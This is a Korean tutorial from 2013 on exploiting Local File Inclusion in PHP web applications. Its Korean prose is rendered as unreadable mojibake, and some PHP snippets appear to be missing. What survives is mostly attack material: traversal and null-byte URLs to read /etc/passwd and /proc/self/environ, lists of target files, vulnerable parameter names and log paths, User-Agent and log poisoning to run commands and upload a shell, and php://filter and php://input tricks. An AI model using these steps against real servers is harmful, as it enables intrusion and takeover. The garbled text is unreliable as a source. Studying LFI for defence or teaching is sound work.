################################################## # # # # # Knowing about LFI(Local File Inclusion) # # # # # ################################################## [INFOS]------------------------------------------------------------------------ Title: Knowing All about LFI Author: xer0s(kim_jey_gon@nate.com) Date: 2013-02-10 Website: http://xer0s.tistory.com ------------------------------------------------------------------------------- [CONTENTS]--------------------------------------------------------------------- 0x01: Introduction 0x02: Finding LFI Vulnerability 0x03: LFI via /proc/self/environ 0x04: LFI via Log files 0x05: Using PHP Wrappers 0x06: Conclusion ------------------------------------------------------------------------------- [0x01: Introduction]----------------------------------------------------------- ¾È³çÇϼ¼¿ä ¿©·¯ºÐ. LeaveRet º¸¾ÈÆÀ ¼Ò¼Ó xer0sÀÔ´Ï´Ù. ÀÌ ¹®¼­¸¦ ÅëÇØ Àú´Â LFI¿Í °ü·ÃµÈ ¿©·¯ Èï¹Ì·Î¿î ³»¿ëµéÀ» ´Ù·ïº¼·Á ÇÕ´Ï´Ù. ÀÌ ¹®¼­´Â ±¹³»¿¡ ¸î ¾ÈµÇ´Â LFI¹®¼­¿Í ´õºÒ¾î ¿©·¯ºÐµéÀÇ LFI¿¡ ´ëÇÑ ÀÌÇظ¦ µµ¿ÍÁÙ °Í ÀÔ´Ï´Ù. Á¦°¡ ½Ç·ÂÀÌ ÁÁ´Ù°Å³ª LFI¿¡ °üÇؼ­ ¿À·¡ ¿¬±¸¸¦ ÇÑ°Ç ¾Æ´Õ´Ï´Ù. Á¦°¡ ÀÌ ¹®¼­¿¡¼­ ¾ð±ÞÇÏ´Â ³»¿ëµéÀÌ ÀÌ¹Ì ¿À·¡µÈ ³»¿ëÀϼöµµ ÀÖ±¸¿ä. ¹®¼­¿¡ °üÇÏ¿© ÁöÀûÇØÁÖ½Ç ³»¿ëÀ̳ª ±Ã±ÝÇϽŰ͵éÀº À§¿¡ Á¦ ³×ÀÌÆ®¿ÂÀ¸·Î Ä£Ãß °É¾îÁֽðí ÂÊÁö ³²°ÜÁֽøé ÃÖ´ëÇÑ ºü¸£°í Á¤È®ÇÏ°Ô ÀÀ´äÇص帮°Ú½À´Ï´Ù. Á¦°¡ ¾Æ´Â LFI¿¡ °üÇÑ ¸ðµç°ÍÀ» ÀÌ ¹®¼­¿¡ ´ã¾ÒÀ¸´Ï Àç¹Õ°Ô ÀоîÁÖ½Ã±æ ¹Ù¶ó°Ú½À´Ï´Ù. ------------------------------------------------------------------------------- [0x02: Finding LFI Vulnerability]---------------------------------------------- LFI¿¡ °üÇÏ¿© ¹è¿öº¸±â Àü¿¡ °¡Àå ¸ÕÀú ¾Ë°í °¡¾ßµÇ´Â ³»¿ëÀÌ LFI°¡ ¹«¾ùÀÌ³Ä ÀÔ´Ï´Ù. LFI¶õ Local File InclusionÀÇ ¾àÀÚ·Î À¥ ºê¶ó¿ìÀú¸¦ ÅëÇØ ¼­¹ö¿¡ ÆÄÀÏÀ» Æ÷ÇÔ½ÃÅ°´Â °úÁ¤ÀÔ´Ï´Ù. ÀÌ Ãë¾àÁ¡Àº ÀÎŬ·çµåÇÒ ÆäÀÌÁö °æ·Î°¡ ÀûÀýÈ÷ ÇÊÅ͸µµÇÁö ¾Ê¾Ò°í µð·ºÅ丮 º¯°æ ¸í·É¾îµéÀÇ »ðÀÔÀ» Çã¿ëÇßÀ»¶§ ÀϾ´Ï´Ù. ´ëºÎºÐÀÇ LFI Ãë¾àÁ¡Àº URLÀ» ÅëÇØ ÀÌ·ïÁö´Âµ¥ ÀÌ´Â º¸Åë °³¹ßÀÚ°¡ GET Method »ç¿ëÀ» ¼±È£Çϱ⠶§¹®ÀÔ´Ï´Ù. ¾Æ·¡ PHP ÄÚµå´Â °£´ÜÇÏ°í ÀüÇüÀûÀÎ LFIÀÇ ¿¹ÀÔ´Ï´Ù. À§ Äڵ忡 ´ëÀÀÇÏ´Â URLÀº ¾Æ·¡¿Í °°À»¼ö ÀÖ½À´Ï´Ù. http://www.site.com/index.php?pages=contaotus.php ÀÌ·¯ÇÑ URLÀº ÀÌ ÆäÀÌÁö ¹Û¿¡ ÀÖ´Â ÆÄÀÏ¿¡ °ü½ÉÀÌ ÀÖ´Â ÀáÀçÀû °ø°ÝÀÚ¿¡°Ô·ÎºÎÅÍ ²Ï³ª Ä¡¸íÀûÀ̶ó°í ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÌ ÆäÀÌÁö ¹ÛÀÇ Æнº¿öµå ÆÄÀÏ°ú °°Àº ÆÄÀÏÀ» Àбâ À§Çؼ­ °ø°ÝÀÚ´Â LFI¸¦ ÀÌ¿ëÇÒ¼ö ÀÖ½À´Ï´Ù. °£´ÜÇÑ ¿¹·Î´Â ¾Æ·¡¿Í °°Àº ¼ø¼­´ë·Î °ø°ÝÀ» ½ÃµµÇØ º¼¼ö ÀÖ½À´Ï´Ù. http://www.site.com/index.php?pages=/etc/passwd À¯´Ð½º ½Ã½ºÅÛ °è¿­¿¡¼­´Â º¸¾È¿¡ Å«¿µÇâÀ» ¹ÌÄ¡´Â ¿©·¯ Áß¿äÇÑ µð·ºÅ丮µéÀÌ Àִµ¥ ±× Áß¿¡ Çϳª°¡ ¼­¹öÀÇ ¸ðµç Æнº¿öµå Çؽ¬¸¦ ´ã°í ÀÖ´Â /etc/passwd ÀÔ´Ï´Ù. °ø°ÝÀÚ´Â À§ URLó·³ /etc/passwd¸¦ ÀÐ¾î ¿Ã¼ö ÀÖ½À´Ï´Ù. À§ URLó·³ /etc/passwd¸¦ Àоî¿À·ÁÇصµ ÀÐÇôÁöÁö ¾Ê´Â´Ù¸é ¾Æ·¡ ¿Í °°Àº ¹æ¹ýµé·Îµµ ½Ãµµ¸¦ Çغ¼¼ö ÀÖ½À´Ï´Ù. http://www.site.com/index.php?pages=../../../../etc/passwd ../../../ ¿Í °°ÀÌ ../¸¦ ¿©·¯¹ø ºÙ¿© ÁÖ´Â ÀÌÀ¯´Â /etc/passwd µð·ºÅ丮ÀÇ »óÀ§µð·ºÅ丮 Á¸Àç °¡´É¼º ¶§¹®ÀÔ´Ï´Ù. À§ URLó·³ ½ÃµµÇϸé /etc/passwd¸¦ Àоî¿Ã¼ö ÀÖ°ÚÁö¸¸ Á¶°Ç¿¡ µû¶ó ¿©ÀüÈ÷ ¾È ÀоîÁú¼öµµ ÀÖ½À´Ï´Ù. ¿©·¯ ÀÌÀ¯µéÀÌ Á¸ÀçÇÒ¼ö ÀÖÁö¸¸ ÇϳªÀÇ ÀÌÀ¯·Î´Â ÄÚµù¿¡ ÀÇÇØ »ý¼ºµÈ ¾²·¹±â °ª ¶§¹® Àϼö ÀÖ½À´Ï´Ù. ¾Æ·¡ URL´ë·Î ½Ãµµ¸¦ ÇØÁÖ¸é ¾²·¹±â°ªÀ» ¼º°øÀûÀ¸·Î ³¯·Á¹ö¸±¼ö ÀÖ½À´Ï´Ù. http://www.site.com/index.php?pages=../../../../etc/passwd%00 /etc/passwd µÚ¿¡ %00Àº ³Î¹ÙÀÌÆ®·Î½á /etc/passwd µÚ¿¡ ºÙ´Â ¾µµ¥¾ø´Â °ªµéÀ» ³Î¹ÙÀÌÆ®·Î ³¯·Á¹ö¸³´Ï´Ù. ¸¸¾à ¼º°øÀûÀ¸·Î Àоîµé¿´´Ù¸é ¾Æ·¡¿Í ºñ½ÁÇÑ °á°ú¹°µéÀÌ º¸ÀÏ°ÍÀÔ´Ï´Ù. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin »óÀ§¿Í ºñ½ÁÇÑ °á°ú°¡ ÆäÀÌÁö¿¡ ³ªÅ¸³ªÁö ¾Ê´Â´Ù¸é /etc/passwd¸¦ ÀоîµéÀ̴µ¥ ½ÇÆÐÇÑ°ÍÀÔ´Ï´Ù. ÇÊÅ͸µÀ» ÀûÀýÈ÷ ¿ìȸÇØÁÖ¸é ¸¶Ä§³» /etc/passwd¸¦ Àоîµå¸±¼ö ÀÖÀ»°ÍÀÔ´Ï´Ù. ÀÌ ¹®¼­¿¡¼­´Â ÇÊÅ͸µ ¿ìȸ¿¡ °üÇÑ ÀÚ¼¼ÇÑ ¹æ¹ýµéÀº ³Ñ¾î°¡°Ú½À´Ï´Ù. page= ¸»°íµµ ¾Æ·¡¿Í °°ÀÌ ÀÌ·¯ÇÑ °æ·Î¸¦ °®´Â URLµéÀº LFI¸¦ ÀǽÉÇغ¼¼ö ÀÖ½À´Ï´Ù. file= path= doc= pdf= folder= style= document= PHP_PATH= lang= template= pg= document_root= /etc/passwd ¸»°íµµ ¾Æ·¡ µð·ºÅ丮µé°ú °°ÀÌ ´Ù¾çÇÑ º¸¾È»ó Áß¿äÇÑ µð·ºÅ丮µéÀÌ Á¸ÀçÇÏ´Ï Âü°í Çغ¸¼¼¿ä. /etc/shadow /etc/group /etc/security/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/security/limits /usr/lib/security/mkuser.default -------------------------------------------------------------------------------- [0x03: LFI via /proc/self/environ]---------------------------------------------- ¸¸¾à /etc/passwd ¿¡ ´ã°Ü ÀÖ´Â Æнº¿öµå Çؽ¬µéÀ» ¼º°øÀûÀ¸·Î Àо ÇÊ¿äÇÑ Á¤º¸¸¦ ȹµæÇß´Ù¸é ÀÌÁ¦ /proc/self/environ¿¡ Á¢±ÙÈ÷ °¡´ÉÇÑÁö È®ÀÎÇغ¼ ÇÊ¿ä°¡ ÀÖ½À´Ï´Ù. ¸¸¾à Á¢±ÙÀÌ °¡´ÉÇÏ´Ù¸é °ø°ÝÀÚ´Â °ø°Ý´ë»óÀÎ »çÀÌÆ®¿¡ ½©À» ¿Ã¸²À¸·Î¼­ ¿µÇâ·ÂÀ» Çà»çÇÒ¼ö ÀÖ½À´Ï´Ù. Á¢±ÙÀÌ ºÒ°¡´É ÇÏ´Ù¸é °ø°ÝÀÚ´Â ¾Æ¸¶ Á¢±ÙÀÌ °¡´ÉÇÑ ´Ù¸¥ ÆÄÀÏÀ» ã¾Æ ¿Ã·Á¾ß µÉ°ÍÀÔ´Ï´Ù. Áö±ÝÀº /proc/self/environ¿¡ °üÇؼ­¸¸ ¼³¸íÀ» ÇÏ°Ú½À´Ï´Ù. /proc/self/environÀº À§¿¡ /etc/passwd À» Á¢±ÙÇß´ø ¹æ½Ä°ú °°ÀÌ Á¢±ÙÀ» ½Ãµµ Çغ¼¼ö ÀÖ½À´Ï´Ù. http://www.site.com/index.php?pages=../../../../proc/self/environ%00 ¸¸¾à /proc/self/environÀÌ ¼º°øÀûÀ¸·Î ÀÐÇôµé¿© Á³´Ù¸é ¾Æ·¡¿Í ºñ½ÁÇÑ °á°úµéÀÌ º¸ÀÏ°ÍÀÔ´Ï´Ù. DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_AGENT= Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 À§ °á°ú ù¹ø° ÁÙÀÌ DOCUMENT_ROOT= ·Î ½ÃÀÛÇϴµ¥ ÀÌ´Â °ø°ÝÀÚ°¡ ¼º°øÀûÀ¸·Î Á¢±ÙÀ» ÇÑ°ÍÀÔ´Ï´Ù. ½©À» ¿Ã¸®±â À§ÇÑ ¸¶Áö¸· ´Ü°è·Î User Agent Field¿¡ PHP Äڵ带 ³Ö¾îÁÖ¸é µÇ´Âµ¥ ±×Àü¿¡ ¾Æ¹« ¸í·É¾î³ª Áý¾î³Ö¾îº¸°Ú½À´Ï´Ù ÇÁ·Ï½Ã ÅøÀ» ÀÌ¿ëÇØ ÆäÀÌÁö request¿¡¼­ User Agent Field ºÎºÐ¿¡ µî°ú °°Àº ¸í·É¾î¸¦ »ðÀÔÇØÁÖ¸é ¾Æ·¡ User Agent Field ºÎºÐ¿¡ ÀÚ±âÀÇ idÁ¤º¸°¡ ³ª¿ÔÀ½À» ¾Ë¼ö ÀÖ½À´Ï´Ù. DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2a d7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/etc/passwd HTTP_USER_AGENT=uid=504(xer0s) gid=504(xer0s) groups=504(xer0s) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? view=..%2F..%2F..%2F..%2F..%2F..%2Fproc% 2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 ÀÌÁ¦´Â À§¿¡ ¸¦ »ðÀÔÇß´ø°Í°ú °°ÀÌ ½©À» ¿Ã·Á ÁÖ¸é µË´Ï´Ù. WGET°ú CURL¸¦ ÀÌ¿ëÇØ ¿Ã¸®´Â ¹æ¹ý ÀÔ´Ï´Ù. ²À ½©ÀÌ ¾Æ´Ï´õ¶óµµ ls -al, rm -rf ¿Í °°Àº ¸í·É¾îµé·Î ¼­¹ö¸¦ º¸°í ¶Ç Á¶ÀÛÇÒ¼öµµ ÀÖ°Ú½À´Ï´Ù. --------------------------------------------------------------------------------------- [0x04: LFI via Log files]-------------------------------------------------------------- /proc/self/environ ¿¡ Á¢±ÙÀÌ ¾ÈµÇµµ Log¸¦ ÀÌ¿ëÇØ ½©À» ¿Ã¸±¼ö ÀÖ´Â ¹æ¹ýÀÌ Á¸ÀçÇÕ´Ï´Ù. ¿ì¸®´Â »çÀÌÆ®¿¡ Äڵ带 ÁÖÀÔÇÏ°í Á¶ÀÛÇÒ¼ö ÀÖ´Â ¿©·¯ Á¾·ùÀÇ ·Î±× ÆÄÀϵéÀ» ¿­°ÅÇغ»´ÙÀ½ ·Î±× ÆÄÀϵéÀ» Á¶ÀÛÇÏ°í Äڵ带 ÁÖÀÔÇÏ´Â ¹ýµéÀ» »ìÆ캼°ÍÀÔ´Ï´Ù.°ø°ÝÀÚ°¡ Æò¹üÇÑ ¾ÆÆÄÄ¡ ¼­¹ö¸¦ °ø°ÝÇÑ´Ù°í °¡Á¤Çغ¾½Ã´Ù. ±âº»ÀûÀ¸·Î ¾ÆÆÄÄ¡¼­¹öµéÀº access_log ¶ó°í ºÒ¸®´Â ·Î±×ÆÄÀÏ°ú error_log ¶ó°í ºÒ¸®´Â ·Î±× ÆÄÀÏÀ» »ý¼ºÇÕ´Ï´Ù. ¸¸¾à °ø°ÝÀÚµéÀÌ ÀÌ ·Î±×µéÀ» ÀÌ¿ëÇÑ´Ù¸é PHP Äڵ带 ¿Ã¸±¼ö ÀÖÀ» °Í ÀÔ´Ï´Ù. ¾Æ·¡´Â ·Î±×ÀÇ À§Ä¡µéÀ» ¿¹»óÇؼ­ ¸ð¾Æ³í ¸ñ·ÏÀÔ´Ï´Ù. /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /opt/lampp/logs/access_log /opt/lampp/logs/error_log /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/www/logs/thttpd_log /var/apache/logs/access_log /var/apache/logs/error_log /var/log/apache/access.log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/httpd/access_log /var/log/httpd/error_log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/thttpd_log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log C:\apache\logs\access.log C:\apache\logs\error.log C:\Program Files\Apache Group\Apache\logs\access.log C:\Program Files\Apache Group\Apache\logs\error.log C:\program files\wamp\apache2\logs C:\wamp\apache2\logs C:\wamp\logs C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log access_log¸¦ °ø°ÝÇÏ´Â ¹æ¹ý°ú error_log¸¦ °ø°ÝÇÏ´Â ¹æ¹ýÀº Á¶±Ý´Ù¸¨´Ï´Ù. ¿ì¼± access_log ºÎÅÍ ºÁº¸°Ú½À´Ï´Ù. access_log¸¦ °ø°ÝÇÏ´Â °¡ÀåÁÁÀº ¹æ¹ýÀº /proc/self/environÀ» °ø°ÝÇÏ´Â ¹æ¹ý°ú °°ÀÌ User-Agent¸¦ º¯Á¶ÇÏ´Â °ÍÀÔ´Ï´Ù. User-Agent º¯Á¶ ¸»°íµµ User-Agent°¡ ¾øÀ»½Ã REFERER¸¦ °ø°ÝÇϴµîÀÇ ¹æ¹ýÀÌ ÀÖÁö¸¸ ÀÌ ¹®¼­¿¡¼­´Â User-Agent¸¸ ¾ð±ÞÇÏ°Ú½À´Ï´Ù. ¾Æ·¡ ·Î±×´Â access_logÀÇ ÀϺÎÀÔ´Ï´Ù. 123.254.150.178 - - [31/Jan/2013:01:04:28 +0900] "GET /hiki/hiki1.png HTTP/1.1" 200 359657 "http://cloud.eaf.kr/hiki/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:28 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:31 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:32 +0900] "GET /hiki/hiki2.png HTTP/1.1" 200 494657 "http://cloud.eaf.kr/hiki/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" 123.254.150.178 - - [31/Jan/2013:01:04:33 +0900] "GET /favicon.ico HTTP/1.1" 404 287 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 CoolNovo/2.0.5.21" /proc/self/environ¿¡¼­ ºÃ´ø°Í°ú ºñ½ÁÇÑ User-AgentºÎºÐµµ Á¸ÀçÇϴ°ÍÀ» È®ÀÎÇϽǼö ÀÖ½À´Ï´Ù. ÀÌÁ¦´Â À§¿¡ /proc/self/environ°ú °°Àº ¹æ½Ä´ë·Î User-Agent¸¦ º¯Á¶ÇØÁ༭ ¿øÇÏ´Â ¸í·É¾î¸¦ ½ÇÇà½ÃÅ°°Å³ª ½©À» ¿Ã¸±¼ö ÀÖ½À´Ï´Ù. error_log¸¦ °ø°ÝÇϴµ¥´Â Á¦ÇÑ»çÇ×ÀÌ ÀÖ½À´Ï´Ù. ¹Ù·Î 404¿¡·¯³ª 500¿¡·¯¸¦ ³»¾ß ÇÑ´Ù´Â °ÍÀÌÁÒ. ±× ÀÌÀ¯´Â ¹Ù·Î error_log°¡ 404¿¡·¯³ª 500¿¡·¯°¡ ³µÀ»¶§ ±â·ÏµÇ±â ¶§¹®ÀÔ´Ï´Ù. ¸¸¾à ¼­¹ö°¡ 404¿¡·¯³ª 500¿¡·¯°¡ ¹ß»ýÇßÀ»½Ã ´Ù¸¥ ¿¡·¯°¡ ³ª°Ô ÇÑ´Ù¸é error_log¸¦ ÀÌ¿ëÇÑ LFI ´Â ºÒ°¡´ÉÇÏ´Ù°í º¸½Ã¸é µË´Ï´Ù. ¾Æ·¡ URLÀ» º¸½Ã±â ¹Ù¶ø´Ï´Ù. http://www.site.com/aaaaaaaa?aaa= ÀÌ URLÀº URL¿À·ù·Î 404¿¡·¯°¡ ³ª¸é¼­ error_log¿¡ ¿¡·¯°¡ ±â·ÏµË´Ï´Ù. °¡ phpÁ¤º¸¸¦ º¸´Â ¸í·É¾îÀ̹ǷΠerror_log ¿¡¼­ Àú ¸í·É¾î°¡ ÀÛµ¿À̵Ǿ phpÁ¤º¸°¡ ±â·ÏÀÌ µÇ°Ô µË´Ï´Ù. ²À À§ÀÇ ¹æ¹ýÀÌ ¾Æ´Ï´õ¶óµµ ¾î¶²½ÄÀ¸·Îµç 404³ª 500¿¡·¯¸¦ ³»ÁÖ½Å´Ù¸é ·Î±×´Â ±â·ÏµÇ±â ¶§¹®¿¡ ´Ù¾çÇÏ°Ô ½Ãµµ¸¦ Çغ¸½Ç¼öµµ ÀÖ½À´Ï´Ù. [0x05: Using PHP Wrappers]-------------------------------------------------------------- À§¿Í °°ÀÌ ¿©·¯ LFI Ãë¾àÁ¡µéÀ» ã¾Ò´Ù°í ÇÏ´õ¶óµµ ¸Å¹ø ½©ÀÌ ¿Ã·ÁÁö´Â°ÍÀÌ ¾Æ´Ï°í »óȲ¿¡ µû¶ó LFIÃë¾àÁ¡À» ´Ù¸¥ ¹æ¹ýÀ¸·Î ã¾Æ¾ß µÉ¼ö µµ ÀÖ½À´Ï´Ù. PHP´Â PHPÀÚ½ÅÀÇ ÀÔ·Â ¹× Ãâ·Â ½ºÆ®¸², Ç¥ÁØÀÔÃâ·Â, ¿À·ù ÆÄÀÏ ±â¼ú¾î µî¿¡ ¿¢¼¼½º ÇÒ¼ö ÀÖ´Â ´Ù¾çÇÑ I/O ½ºÆ®¸²À» Á¦°øÇϴµ¥ À̸¦ PHP Wrapper ¶ó°í ÇÕ´Ï´Ù. ÀÌ·¯ÇÑ PHPÀÇ ÀåÁ¡À» LFI¿¡µµ ÀÌ¿ëÇÒ¼ö ÀÖ½À´Ï´Ù. ¿©·¯ PHP Wrapper Áß¿¡¼­µµ LFI¿¡ °¡Àå ¸¹ÀÌ ¾²ÀÌ´Â PHP Wrapper¿¡´Â Å©°Ô µÎ°¡Áö°¡ Àִµ¥ ¹Ù·Î php://filter ¿Í php://input ÀÔ´Ï´Ù. ¿ì¼± php://filter¸¦ ÀÌ¿ëÇÑ °ø°ÝºÎÅÍ »ìÆì º¸°Ú½À´Ï´Ù. ¾Æ·¡´Â PHP 5.0.0ºÎÅÍ »ç¿ë°¡´ÉÇØÁø ·¡ÆÛ ÇÔ¼öÀÔ´Ï´Ù. ·¡ÆÛ¿¡ °üÇÑ ÀÚ¼¼ÇÑ ¼³¸íÀº http://php.net/manual/en/wrappers.php.php ¸¦ Âü°íÇØÁÖ¼¼¿ä php://filter/convert.base64_encode/resource= À§ ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÃÖÁ¾ÀûÀ¸·Î ¾ò±â À§ÇÑ°ÍÀº ÀÚ½ÅÀÌ º¸°íÀÚ ÇÏ´Â ÆäÀÌÁöÀÇ ¼Ò½ºÀÔ´Ï´Ù ¿¹¸¦µé¾î À̸¦ ÀÌ¿ëÇÏ¿© hello.php ¸¦ ÀÐ´Â´Ù°í °¡Á¤ÇÒ¶§ÀÇ URLÀº ´ÙÀ½°ú °°½À´Ï´Ù. http://www.site.com/vulnpage.php?page=php://filter/convert.base64_encode/resource=hello.php À§¿Í °°Àº URLÀÇ °á°ú·Î´Â ¾Æ·¡¿Í °°ÀÌ base64 ÀÎÄÚµù °ªÀÌ ³ª¿Ã°ÍÀÔ´Ï´Ù. PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRtbD4KPGhlYWQ+CiAgPHRpdGxlPk15IEZpcnN0IFRlc3QgU2l0ZTwvdG l0bGU+CiAgPE1FVEEgSFRUUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20vaW5kZXgucGhwIj4KPC9oZWFkPgo8Ym9k eT4KPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIElmIHlvdSBhcmUgbm90IHJlZGlyZWN0ZWQgcGxlYXNlIGNsaWNrIDxhIGhyZWY9IiBodHRwOi8vdGVzdHNpdGUuY2 9tL2luZGV4LnBocCAiPmhlcmU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+ ÀÌ base64 ÀÎÄÚµù °ªÀ» decode ÇØÁÖ¸é My First Test Site
If you are not redirected please click here.
ÀÌ¿Í °°ÀÌ È¨ÆäÀÌÁö ¼Ò½º°¡ º¸¿©Áö°Ô µË´Ï´Ù. °ø°ÝÀÚ´Â ÀÌ ¼Ò½º¸¦ ÀÌ¿ëÇؼ­ LFI¿Ü¿¡µµ SQL Injection°°Àº °ø°ÝÀ» À§ÇÑ Á¤º¸¶ó´øÁö À¯¿ëÇÑ ÄÚµåÁ¤º¸µéÀ» ÀÐÀ»¼ö ÀÖ½À´Ï´Ù. À̹ø¿¡´Â php://inputÀ» ÀÌ¿ëÇÑ °ø°ÝÀ» ¾Ë¾Æº¸°Ú½À´Ï´Ù. php://input ÀÇ ·¡ÆÛ ¿ëµµ°¡ request ¹ÙµðÀÇ µ¥ÀÌÅ͸¦ Àд ¿ªÈ°À̹ǷΠÀ̸¦ ÀÌ¿ëÇؼ­ ÆäÀÌÁö¿¡ ½©À» »ðÀÔÇÒ ¼ö ÀÖ½À´Ï´Ù. »ç¿ë¹æ¹ýÀº ¾Æ·¡¿Í URL°ú °°½À´Ï´Ù. http:www.site.com/index.php?page=php://input À§ÀÇ URLÀ» º¸³»ÁØ´ÙÀ½ ÇÁ·Ï½Ã Åø·Î POST request¸¦ Àâ¾Æ¼­ ÀڱⰡ ¿øÇÏ´Â ¸í·É¾î¸¦ »ðÀÔÇØÁÖ¸é µË´Ï´Ù. À§¿Í °°ÀÌ ¸í·É¾î¸¦ º¸³»ÁÖ¸é ÆäÀÌÁö¿¡ ÀÚ½ÅÀÇ id Á¤º¸°¡ ³ªÅ¸³­°ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. ½©Àº À§ /proc/self/environ ¿¡¼­ ¼³¸íÇß´ø ¹æ¹ý´ë·Î ¿Ã·ÁÁÙ¼ö ÀÖ½À´Ï´Ù. [0x06: Conclusion]---------------------------------------------------------------------- ¿©·¯ºÐ ÀÌÁ¦ ³¡³´¾î¿©!!. ´ë·« ÀÏÁÖ°¡ °É·Á ¸¸µç ¹®¼­ Àε¥ LFI¸¦ °øºÎÇÏ°íÀÚ ÇϽô ºÐµé²² Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ ‰çÀ¸¸é ÇÕ´Ï´Ù. ÀÌ ¹®¼­ÀÇ ¸ñÀûÀº LFI ½ÉÈ­±â¹ýÀÌ ¾Æ´Ï¶ó Àü¹ÝÀûÀÎ LFIÀÇ ÀÌÇظ¦ µ½´Âµ¥ ÃÊÁ¡ÀÌ ¸ÂÃçÁ® ÀÖ½À´Ï´Ù. ÀÌ ¹®¼­¸¦ ¹ÙÅÁÀ¸·Î Ãß°¡ÀûÀÎ ¿¬±¸¸¦ ÇÑ´Ù¸é ÀÚ½ÅÀÌ ¿øÇÏ´Â LFI ±â¹ýÀ» 